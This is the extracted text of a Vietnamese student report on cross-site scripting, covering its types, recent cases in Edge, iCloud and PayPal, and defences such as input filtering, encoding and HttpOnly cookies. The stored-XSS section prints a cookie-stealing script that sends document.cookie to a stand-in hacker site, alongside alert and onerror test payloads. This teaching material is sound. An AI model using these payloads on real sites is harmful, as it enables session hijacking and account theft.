1. Trang chủ
  2. » Giáo Dục - Đào Tạo

báo cáo đề tài tìm hiểu lỗ hổng XSS

30 23 0

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Định dạng
Số trang 30
Dung lượng 1,49 MB

Nội dung

HỌC VIỆN KỸ THUẬT MẬT MÃ KHOA AN TỒN THƠNG TIN - - BÀI TẬP LỚN MÔN HỌC CƠ SỞ AN TỒN THƠNG TIN Đề tài: TÌM HIỂU VỀ LỖ HỔNG CROSS - SITE-SCRIPTING Sinh viên thực hiện::: AT140811 Dương Viết Hưng AT150622 Lê Thị Hương AT150328 Kiều Duy Khánh Hà Nội, 09-2021 PHẦN NHẬN XÉT CỦA GIÁO VIÊN …………………………………………………………………………………… …………………………………………………………………………………… …………………………………………………………………………………… …………………………………………………………………………………… …………………………………………………………………………………… …………………………………………………………………………………… …………………………………………………………………………………… …………………………………………………………………………………… …………………………………………………………………………………… …………………………………………………………………………………… …………………………………………………………………………………… MỤC LỤC LỜI MỞ ĐẦU Lý chọn đề tài Mục tiêu Bố cục CHƯƠNG CƠ SỞ LÝ THUYẾT Giới thiệu chung 1.1 Khái niệm 1.2 Các nguy tiềm ẩn từ lỗ hổng XSS thực tế 1.3 Một số lỗ hổng XSS phát gần 1.3.1 Lỗ hổng XSS Microsoft Edge 1.3.2 Lỗ hổng iCloud XSS Apple 1.3.3 Lỗ hổng XSS Ví chuyển đổi tiền tệ PayPal .9 CHƯƠNG CÁC DẠNG TẤN CÔNG XSS .10 2.1 Reflected XSS 10 2.1.1 Nguyên lý công 10 2.1.2 Tìm kiếm kiểm tra 11 2.2 Stored XSS .15 2.2.1 Tổng quan Stored XSS .15 2.2.2 Ví Dụ .16 2.2.3 Kịch công 21 2.3 DOM-based XSS 22 2.3.1 Tổng quan Dom-based XSS .22 2.3.2 Ví dụ đơn giản cơng Dom-based XSS 23 2.3.3 Sơ đồ công 27 CHƯƠNG CÁC BIỆN PHÁP PHÒNG CHỐNG XSS 28 Lọc đầu vào 28 Mã hóa 28 Sử dụng tường lửa WAF .28 Sử dụng Javascript framework (React, Angular, …) 28 Sử dụng Development Tools 28 Quét mã độc website .29 Sử dụng HTTPOnly flag .29 LỜI MỞ ĐẦU Lý chọn đề tài Với phát triển công nghệ phát triển web phát minh đổi Internet of things (IoT), dịch vụ internet trở nên phổ biến rộng rãi Chính sinh sơi nảy nở Internet khiến bùng nổ việc sử dụng dịch vụ internet liên quan đến tin tức, liên lạc tầm xa, mạng xã hội,… đặc biệt với bối cảnh dịch bệnh COVID-19 điều trở thành thiết yếu đời sống người để trì sống bình thường Dữ liệu cung cấp người dùng không đem lại lợi ích cho tổ chức trở thành mục tiêu cho kẻ có ý đồ xấu Những trang web trở thành điểm nóng tệp tin nguy hiểm gây ảnh hưởng xâm phạm đến riêng tư người dùng Cross-Site Scripting (XSS) công theo dạng injection xếp top 10 nguy bảo mật ứng dụng web tổ chức OWASP Lỗ hổng diện gần 80% ứng dụng web tiếng internet Là sinh viên ATTT, nhóm em chọn đề tài để làm rõ lỗ hổng này, nghiên cứu cách cơng từ đưa cách giải pháp phòng chống phù hợp Mục tiêu  Hiểu rõ chất, đặc điểm, có khả phân loại công XSS  Biết cách thực công lỗ hổng XSS ứng dụng web thực tế  Có thể đưa giải pháp phòng chống XSS Bố cục Chương 1: Cơ sở lý thuyết XSS Chương 2: Chi tiết dạng công lỗ hổng XSS ứng dụng web Chương 3: Các phương pháp phòng chống CHƯƠNG CƠ SỞ LÝ THUYẾT Giới thiệu chung Bảo mật web phụ thuộc vào nhiều chế khác nhau, bao gồm khái niệm tin cậy gọi Same Origin Policy Về bản, điều tuyên bố nội dung từ trang web (chẳng hạn https://mybank.example1.com ) cấp quyền truy cập tài nguyên (như cookie, v.v.) trình duyệt web , nội dung từ URL có (1) Lược đồ URI, (2) tên máy chủ (3) số cổng chia sẻ quyền Nội dung từ URL có thuộc tính ba thuộc tính khác phải cấp quyền riêng Các công tập lệnh nhiều trang sử dụng lỗ hổng biết ứng dụng dựa web, máy chủ chúng hệ thống plug-in mà chúng dựa vào Khai thác số thứ này, kẻ công đưa nội dung độc hại vào nội dung phân phối từ trang web bị xâm phạm Khi nội dung kết hợp thu đến trình duyệt web phía máy khách, tất nội dung phân phối từ nguồn đáng tin cậy hoạt động theo quyền cấp cho hệ thống Bằng cách tìm cách đưa tập lệnh độc hại vào trang web, kẻ cơng có đặc quyền truy cập cao nội dung trang nhạy cảm, cookie nhiều thơng tin khác trình duyệt trì thay mặt cho người dùng Các công tập lệnh xuyên trang trường hợp code injection Các kỹ sư bảo mật Microsoft đưa thuật ngữ "cross-site scripting" vào tháng năm 2000 Cụm từ "cross-site scripting" ban đầu dùng để hành động tải ứng dụng web bên thứ ba bị công từ trang web công không liên quan, theo cách thực thi đoạn JavaScript kẻ công chuẩn bị security context miền nhắm mục tiêu (lợi dụng lỗ hổng XSS reflected non-persistent) Định nghĩa mở rộng để bao gồm phương thức chèn mã khác, bao gồm vectơ bền vững JavaScript (bao gồm ActiveX, Java, VBScript, Flash, chí tập lệnh HTML ), gây số nhầm lẫn cho người tham gia lĩnh vực information security Các lỗ hổng XSS báo cáo khai thác từ năm 1990 Các trang web bật bị ảnh hưởng khứ bao gồm trang mạng xã hội Twitter , Facebook , MySpace , YouTube Orkut Các lỗi tập lệnh nhiều trang web kể từ vượt qua lỗi tràn đệm(buffer overflows) để trở thành lỗ hổng bảo mật báo cáo công khai phổ biến nhất, với số nhà nghiên cứu vào năm 2007 ước tính có tới 68% trang web có khả bị công XSS 1.1 Khái niệm Cross-Site Scripting - XSS lỗ hổng bảo mật ứng dụng web cho phép kẻ công xâm phạm hoạt động người dùng với ứng dụng web Lỗ hổng cho phép kẻ vượt qua Same Origin Policy, sách thiết kế để tách biệt ứng dụng web khác với Các lỗ hổng XSS thường cho phép kẻ công giả dạng người dùng nạn nhân, thực hành động mà nạn nhân thực truy cập liệu nạn nhân Nếu người dùng nạn nhân có quyền truy cập đặc quyền ứng dụng web, kẻ cơng có tồn quyền kiểm sốt tất chức liệu ứng dụng web Tấn công XSS cơng thuộc loại injection, đoạn mã độc hại tiêm vào trang web tưởng an tồn đáng tin cậy Tấn cơng XSS xảy mà kẻ công sử dụng ứng dụng web để gửi đoạn mã độc hại thường dạng script tới người dùng khác Lỗi cho phép công XSS thành công mà ứng dụng web sử dụng input người dùng bên phía client mà khơng có chế mã hóa hay lọc liệu Những đoạn mã chạy bên phía client trình duyệt nạn nhân Có ba loại cơng XSS Đó là:  Reflected XSS, nơi tập lệnh độc hại đến từ yêu cầu HTTP  Stored XSS, nơi tập lệnh độc hại đến từ sở liệu trang web  DOM-based XSS, nơi lỗ hổng bảo mật tồn mã phía máy khách khơng phải mã phía máy chủ 1.2 Các nguy tiềm ẩn từ lỗ hổng XSS thực tế Cross-site scripting loại lỗ hổng ứng dụng web phổ biến nhất, xuất danh sách Top 10 OWASP từ phiên Đồng thời, theo truyền thống, coi gây hại so với SQL injection thực thi lệnh Nhưng mã JavaScript độc hại thực thi phía máy khách mà khơng ảnh hưởng trực tiếp đến máy chủ, điều không làm cho lỗ hổng XSS nguy hiểm Tác động lỗ hổng XSS bị khai thác ứng dụng web khác tùy thuộc vào công cụ thể Bằng cách thực thi mã script ngữ cảnh người dùng, kẻ cơng đánh cắp cookie phiên thực chiếm quyền điều khiển phiên để mạo danh nạn nhân chiếm đoạt tài khoản họ Kết hợp với social engineering, điều dẫn đến việc tiết lộ liệu nhạy cảm, công CSRF (nếu kẻ cơng truy cập mã thơng báo chống CSRF) chí cài đặt phần mềm độc hại Nếu nạn nhân có quyền quản trị ứng dụng nhắm mục tiêu, công XSS thành cơng sử dụng để báo cáo đặc quyền sau thực thi mã máy chủ Vì API web HTML5 cung cấp cho trình duyệt quyền truy cập nhiều vào liệu phần cứng cục bộ, kẻ công sử dụng lỗ hổng XSS để truy cập vào tài nguyên cục bạn, từ liệu nhớ trình duyệt đến máy ảnh micrô bạn XSS vấn đề lớn bảo mật ứng dụng web Tác động thực tế công XSS thường phụ thuộc vào chất ứng dụng, chức liệu ứng dụng trạng thái người dùng bị xâm phạm Ví dụ:  Trong ứng dụng brochureware, nơi tất người dùng ẩn danh tất thông tin công khai, tác động thường tối thiểu  Trong ứng dụng chứa liệu nhạy cảm , chẳng hạn giao dịch ngân hàng, email hồ sơ chăm sóc sức khỏe, tác động thường nghiêm trọng  Nếu người dùng bị xâm phạm có đặc quyền nâng cao ứng dụng, tác động thường nghiêm trọng, cho phép kẻ cơng tồn quyền kiểm sốt ứng dụng dễ bị công xâm phạm tất người dùng liệu họ 1.3 Một số lỗ hổng XSS phát gần 1.3.1 Lỗ hổng XSS Microsoft Edge Hai nhà nghiên cứu bảo mật, Vansh Devgan Shivam Kumar Singh, phát lỗ hổng Universal XSS nghiêm trọng Microsoft Edge Cụ thể, lỗi thường ảnh hưởng đến tính dịch tự động trình duyệt, lỗi tồn chức startPageTranslation Mã dễ bị công tính dịch tự động xử lý khơng cách “>” thẻ HTML Microsoft Edge (Internal Translator Which Comes Pre-Installed) có đoạn mã dễ bị công, mã thực lấy thẻ html có thẻ “> img mà khơng cần kiểm tra đầu vào chuyển đổi payload thành văn dịch để thực trình dịch nội sử dụng“> img src = x onerror = alert (1)> payload thực thi dạng javascript khơng có kiểm tra xác thực thích hợp thực sanitisation chuyển đổi DOM hoàn chỉnh thành văn sau xử lý để dịch Sau tìm thấy lỗ hổng, nhà nghiên cứu liên hệ với Microsoft vào ngày tháng năm 2021 Sau trao đổi qua lại, Microsoft cuối phát triển sửa lỗi mà họ tung vào ngày 24 tháng năm 2021 để tránh công tiềm ẩn 1.3.2 Lỗ hổng iCloud XSS Apple Một nhà nghiên cứu bảo mật, Vishal Bhardwaj, gần chia sẻ chi tiết phát liên quan đến lỗ hổng ảnh hưởng đến tảng iCloud Cụ thể, anh phát lỗ hổng XSS (cross-site scripting) lưu trữ miền iCloud Apple Lỗi nằm tính Page / Keynotes miền Các lỗ hổng Stored or Persistent XSS cho phép payload tồn liên tục trang mục tiêu Những lỗ hổng lút cho phép phần mềm độc hại chạy trang bị nhiễm mà không bị phát Như trình bày đăng blog anh , để khai thác lỗi, kẻ công cần tạo payload độc hại gửi cho người dùng Sau chia sẻ, kẻ công phải thực số thay đổi trang mục tiêu, lưu, truy cập lại trang bị ảnh hưởng sau tới menu “Cài đặt” qua trang Sau đó, nhấp vào “Tất phiên trình duyệt” kích hoạt lỗ hổng tài khoản người dùng mục tiêu Sau phát này, cuối anh báo cáo cho Apple vào tháng năm 2020 10 Nếu chuỗi xuất nhiều lần, lần xuất cần phải xem xét lỗ hổng tiềm phải kiểm tra đối tượng Từ vị trí mà người dùng kiểm sốt HTML, xác định cách biến đổi để chạy đoạn script Kiểm tra khai thác cách gửi đến ứng dụng Nếu mà chuỗi nhập vào gửi thay đổi gì, ứng dụng có điểm yếu Kiểm tra lại xem cú pháp sử dụng có xác không cách sử dụng đoạn script để mở thơng báo, xác định điều có thực xảy trình duyệt mà phản hồi hiển thị 2.2 Stored XSS 2.2.1 Tổng quan Stored XSS 2.2.1.1 Stored XSS gì?  Là hình thức cơng mà cho phép kẻ cơng chèn đoạn script nguy hiểm (thường Javascript) vào website thơng qua chức ( Ví dụ: Viết bình luận, guestbook, gửi bài, message ) sau mã độc lưu lại database website nên gọi Stored  Khi người dùng truy cập website đoạn script độc hại thực thi => người dùng bị dính mã độc từ kẻ cơng  Loại công xss chủ yếu tập trung vào việc khai thác “thiếu kiểm tra” liệu truyền vào cho người dùng nhập liệu vào hệ thống , liệu gửi lên server không kiểm tra kỹ lưỡng mà lưu trực tiếp vào sở liệu  Điển hình loại cơng lợi dụng trường liệu nhập vào từ người dùng: ô comment trang blog, ô điền nội dung thông tin tài khoản,… 16 2.2.1.2 Tác hại Stored XSS Thay đổi cấu trúc toàn trang web Chuyển hướng liên kết sang trang khác Tạo trang web form giả mạo hiển thị cho người dùng để lừa đảo, chuộc lợi,… Ăn cắp liệu nhận dạng người dùng như: cookies, session tokens,… 2.2.1.3 So Sánh Reflected Xss Và Stored Xss Bảng So sánh So Sánh Reflected Xss Và Stored Xss Reflected XSS Stored XSS Khai thác Hacker lừa nạn nhân đăng Hacker chèn mã nguy hiểm vào công nhập truy cập đến URL để CSDL ứng dụng, Khi Người thực thi mã độc dùng truy cập vào ứng dụng mã độc thực thi Đối tượng Trực tiếp vào số nạn nhân Tất người sử dụng ứng ảnh hưởng mà hacker nhắm đến dụng web =>Stored XSS nguy hiểm nhiều so với Reflected XSS 2.2.2 Ví Dụ VD1: Trang web có chức comment  Giả sử trang web có nhập nội dung comment  Với nhận xét mà người dùng nhập vào, hệ thống lưu trữ lại hiển thị sau 17  Hacker kiểm tra web có bị dính lỗ hổng bảo mật hay khơng cách nhập đoạn Script vào ô comment: alert("XSS attack!");  Đoạn mã Javascript trình duyệt kích hoạt có hộp thoại hiển thị: 18  Web dính XSS  Hacker chèn đoạn script đánh cắp cookie người dùng: window.location.assign("https://www.sitecuahacker.com/? cookie="+document.cookie)  Khi người dùng truy cập chức comment, cookie người dùng gửi tới trang Hacker 19 VD2: Ứng dụng web cho phép user gửi message tới admin  Khi chèn đoạn script sau: alert(1) vào khung Message 20  Nếu Ta nhận thông báo sau, chứng tỏ Message bị lỗi XSS  Hacker công cách gửi đoạn script độc hại  Mã độc lưu lại trang web  Khi admin đọc message, mã độc thực thi gửi cookie admin server Hacker 21 2.2.3 Kịch công 22 2.3 DOM-based XSS 2.3.1 Tổng quan Dom-based XSS 2.3.1.1 Trước tiên cần biết DOM gì?  DOM viết tắt Document Object Model  Là dạng chuẩn W3C đưa nhằm để truy xuất thao tác liệu tài liệu có cấu trúc HTML, XML  Mơ hình thể tài liệu dạng cấu trúc phân cấp Tất thành phần HTML, XML xem node 2.3.1.2 Vậy DOM-based XSS gì?  Như phần Reflected XSS Stored XSS, chúng có đặc điểm chung đoạn mã nguy hiểm sau chèn vào thực thi sau response server, có nghĩa lỗi nằm phía server  DOM-Based XSS lại ngược lại với đặc điểm này, mã độc thực thi xử lý phía client mà khơng cần thông qua server  DOM Based XSS kỹ thuật khai thác XSS dựa việc thay đổi cấu trúc DOM tài liệu, cụ thể HTML 2.3.1.3 So sánh loại công XSS Trên kịch khai thác thực tế, DOM Based có phần giống với Reflected Stored XSS phải lừa người dùng truy cập vào URL nhúng mã độc 23 Bảng 2 So sánh So Sánh DOM-Based XSS Stored XSS DOM-Based XSS Reflected XSS Một loại XSS nâng cao công Là loại phổ biến payload cách ghi liệu vào Mơ hình kẻ công phần yêu đối tượng tài liệu cầu gửi đến máy chủ web Xảy cách xử lý liệu từ Xảy ứng dụng lấy liệu nguồn không đáng tin cậy sau request HTTP bao gồm ghi liệu tiềm ẩn nguy hiểm liệu response theo cách vào DOM khơng an tồn 2.3.2 Ví dụ đơn giản công Dom-based XSS  Dưới trang web cho phép người dùng tải lên viết, trạng thái  Chúng ta đăng tải viết với nội dung “Hello, world !” 24  Nội dung vừa đăng tải hiển thị hình ảnh 25  Chúng ta thực truy cập vào trang mã nguồn web thấy hàm dùng để in đăng hình  Nội dung message hiển thị bên thẻ mà không qua bước xử lý hay validate, việc dẫn đến nguy bị chèn vào đoạn mà nguy hiểm  Chúng ta thử chèn đoạn mã đơn giản vào phần viết đăng, đoạn mã in cho đường link có tên “here” nhấp chuột trang web hiển thị thơng báo với nội dung “pwned” 26  Kết sau đăng thành công ấn vào link “here” 27 Kết luận: Thông qua việc chèn đoạn mã đơn giản thấy lỗ hổng trang web mà bị cơng XSS 2.3.3 Sơ đồ công 28 CHƯƠNG CÁC BIỆN PHÁP PHÒNG CHỐNG XSS Lọc đầu vào Ln Ln lọc dữu liệu từ phía người dung cách lọc kí tự meta (kí tự đặc biệt) định nghĩa đặc tả HTML Mỗi trường nhập liệu bao gồm tham số liên kết kiểm tra để phát thẻ script Mã hóa Lỗi XSS tránh máy chủ Web đảm bảo trang phát sinh mã hóa (ENCODING) thích hợp để ngăn chặn chạy script không mong muốn Sử dụng tường lửa WAF Tường lửa ứng dụng web (WAF) giải pháp sử dụng phổ biến để bảo vệ khỏi xss cơng ứng dụng web WAF có khả thực thi sách bảo mật dựa dấu hiệu công, giao thức tiêu chuẩn lưu lượng truy cập ứng dụng web bất thường Đây điều mà tường lửa mạng khác không làm Sử dụng Javascript framework (React, Angular, …) Hiện có nhiều thư viện giúp ta ngăn ngừa XSS Các framework để làm web tích hợp sẵn nhiều cơng nghệ chống loại hình cơng Vd: Javascript framework (React, Angular, …) Sử dụng development Tools Sử dụng Development Tools phát code khơng an tồn 29 Quét mã độc website Để sớm phát lỗi khắc phục người cần sử dụng biện pháp nhằm quét mã độc website từ có kế hoạch xử lý tốt Các phần mềm quét mã độc website: Sucuri SiteCheck, WPScan, Mozilla Observatory,… Sử dụng HTTPOnly flag Bảo vệ cookie khỏi việc truy cập trái phép từ browser Nếu cookie set HttpOnly, khơng thể bị truy cập Client thông qua Javascript hacker đọc giá trị cookie gửi server Hacker, chí khơng thể biết cookie có tồn hay khơng 30 ... số lỗ hổng XSS phát gần 1.3.1 Lỗ hổng XSS Microsoft Edge 1.3.2 Lỗ hổng iCloud XSS Apple 1.3.3 Lỗ hổng XSS Ví chuyển đổi tiền tệ PayPal .9 CHƯƠNG CÁC DẠNG TẤN CÔNG XSS. .. Một số lỗ hổng XSS phát gần 1.3.1 Lỗ hổng XSS Microsoft Edge Hai nhà nghiên cứu bảo mật, Vansh Devgan Shivam Kumar Singh, phát lỗ hổng Universal XSS nghiêm trọng Microsoft Edge Cụ thể, lỗi thường... phát báo cáo lỗ hổng XSS cho PayPal thông qua HackerOne vào tháng năm 2020 Theo sau báo cáo, mốc thời gian cho thấy PayPal giải lỗi vào tháng năm 2020 CHƯƠNG CÁC DẠNG TẤN CÔNG XSS 2.1 Reflected XSS

Ngày đăng: 13/10/2021, 08:23

HÌNH ẢNH LIÊN QUAN

Hình 1. 1. Mô hình hoạt động của Reflected XSS - báo cáo đề tài tìm hiểu lỗ hổng XSS
Hình 1. 1. Mô hình hoạt động của Reflected XSS (Trang 12)
Bảng 2.1. So sánh So Sánh Reflected Xss Và Stored Xss - báo cáo đề tài tìm hiểu lỗ hổng XSS
Bảng 2.1. So sánh So Sánh Reflected Xss Và Stored Xss (Trang 17)
Bảng 2.2. So sánh So Sánh DOM-Based XSS và Stored XSS - báo cáo đề tài tìm hiểu lỗ hổng XSS
Bảng 2.2. So sánh So Sánh DOM-Based XSS và Stored XSS (Trang 24)
 Nội dung chúng ta vừa đăng tải sẽ được hiển thị như hình ảnh dưới đây - báo cáo đề tài tìm hiểu lỗ hổng XSS
i dung chúng ta vừa đăng tải sẽ được hiển thị như hình ảnh dưới đây (Trang 25)

TÀI LIỆU CÙNG NGƯỜI DÙNG

TÀI LIỆU LIÊN QUAN

w